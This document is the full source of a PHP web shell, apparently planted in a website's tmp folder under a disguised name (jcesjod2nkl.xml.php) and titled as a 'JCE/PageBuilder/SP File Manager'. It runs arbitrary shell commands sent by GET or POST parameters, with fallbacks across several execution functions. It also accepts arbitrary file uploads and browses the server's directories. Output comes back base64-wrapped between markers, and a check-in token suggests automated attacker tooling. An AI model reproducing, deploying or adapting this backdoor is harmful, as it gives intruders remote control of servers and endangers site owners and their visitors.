| Current Path : /home/andpasi/www/tmp/ |
| Current File : /home/andpasi/www/tmp/jcesjod2nkl.xml.php |
<?php if(!isset($_GET['c']) && !isset($_POST['cmd']) && !isset($_FILES['file']) && !isset($_GET['ui'])){ echo 'RXST:'.base64_encode('MATHOK:141984').':RXEND';}elseif(isset($_FILES['file'])){ $upload_dir = './uploads/'; if(!is_dir($upload_dir)){mkdir($upload_dir, 0777, true);} $file = $upload_dir . basename($_FILES['file']['name']); if(move_uploaded_file($_FILES['file']['tmp_name'], $file)){ echo 'File uploaded successfully: ' . $_FILES['file']['name']; }else{ echo 'Upload failed'; }}elseif(isset($_GET['ui'])){ echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>JCE/PB/SP File Manager</title>'; echo '<style> body{background:#0a0e17;color:#e0e0e0;font-family:Consolas,monospace;padding:20px;margin:0;} .container{max-width:1200px;margin:0 auto;} h1{color:#00d4ff;border-bottom:2px solid #00d4ff;padding-bottom:10px;} .box{background:#111927;border:1px solid #1a2a3a;border-radius:8px;padding:20px;margin:15px 0;} .box h3{color:#00d4ff;margin-top:0;} input,select,button{background:#0a1520;color:#e0e0e0;border:1px solid #1a3a5a;padding:10px;margin:5px;border-radius:4px;font-family:Consolas,monospace;} input:focus,select:focus{outline:1px solid #00d4ff;} button{background:#00d4ff;color:#0a0e17;cursor:pointer;font-weight:bold;border:none;} button:hover{background:#00b8d4;} .file-list{background:#0a1520;padding:10px;border-radius:4px;max-height:400px;overflow-y:auto;} .file-item{padding:5px 10px;border-bottom:1px solid #1a2a3a;display:flex;justify-content:space-between;align-items:center;} .file-item:hover{background:#0a1a2a;} .file-name{color:#4fc3f7;} .file-size{color:#78909c;font-size:12px;} .dir-name{color:#ffb74d;} .success{color:#66bb6a;} .error{color:#ef5350;} .cmd-output{background:#0a0a0a;padding:10px;border-radius:4px;margin:10px 0;white-space:pre-wrap;font-size:12px;max-height:300px;overflow-y:auto;} </style>'; echo '</head><body><div class=container>'; echo '<h1>🐘 JCE/PageBuilder/SP File Manager</h1>'; echo '<div class=box><h3>▶ Command Execution</h3>'; echo '<form method=post>'; echo '<input type=text name=cmd placeholder="Enter command" style="width:70%">'; echo '<button type=submit>Run</button>'; echo '</form>'; if(isset($_POST['cmd']) && !empty($_POST['cmd'])){ $c=$_POST['cmd'].' 2>&1';$o=''; if(function_exists('shell_exec')){$o=@shell_exec($c);} elseif(function_exists('exec')){@exec($c,$arr);$o=implode("\n",$arr);} elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} else{$o='BLOCKED - No execution function available';} echo '<div class=cmd-output>'.htmlspecialchars($o).'</div>'; } echo '</div>'; echo '<div class=box><h3>📤 File Upload</h3>'; echo '<form method=post enctype="multipart/form-data">'; echo '<input type=file name=file required>'; echo '<button type=submit name=upload value=1>Upload</button>'; echo '</form>'; if(isset($_FILES['file']) && isset($_POST['upload'])){ $dir='./uploads/';if(!is_dir($dir)){mkdir($dir,0777,true);} $f=$dir.basename($_FILES['file']['name']); if(move_uploaded_file($_FILES['file']['tmp_name'],$f)){ echo '<div class=success>✓ File uploaded: '.htmlspecialchars($_FILES['file']['name']).'</div>'; }else{ echo '<div class=error>✗ Upload failed</div>'; } } echo '</div>'; echo '<div class=box><h3>📂 File Browser</h3>'; $dir = isset($_GET['dir']) ? $_GET['dir'] : '.'; if(is_dir($dir)){ echo '<div class=file-list>'; $files = scandir($dir); foreach($files as $f){ if($f=='.'||$f=='..')continue; $path = $dir.'/'.$f; if(is_dir($path)){ echo '<div class=file-item><span class=dir-name>📁 <a href="?ui=1&dir='.urlencode($path).'">'.htmlspecialchars($f).'</a></span></div>'; }else{ $size = filesize($path); $size_str = $size > 1024*1024 ? round($size/1024/1024,2).' MB' : ($size > 1024 ? round($size/1024,2).' KB' : $size.' B'); echo '<div class=file-item><span class=file-name>📄 '.htmlspecialchars($f).'</span><span class=file-size>'.$size_str.'</span></div>'; } } echo '</div>'; }else{ echo '<div class=error>Directory not found</div>'; } echo '</div>'; echo '</div></body></html>';}else{ $c = isset($_GET['c']) ? $_GET['c'] : (isset($_POST['cmd']) ? $_POST['cmd'] : ''); if(!empty($c)){ $c .= ' 2>&1'; $o=''; if(function_exists('shell_exec')){$o=@shell_exec($c);} elseif(function_exists('exec')){@exec($c,$arr);$o=implode("\n",$arr);} elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} elseif(function_exists('popen')){$h=@popen($c,'r');$o='';while(!feof($h)){$o.=fread($h,4096);}pclose($h);} else{$o='BLOCKED';} echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; }} ?>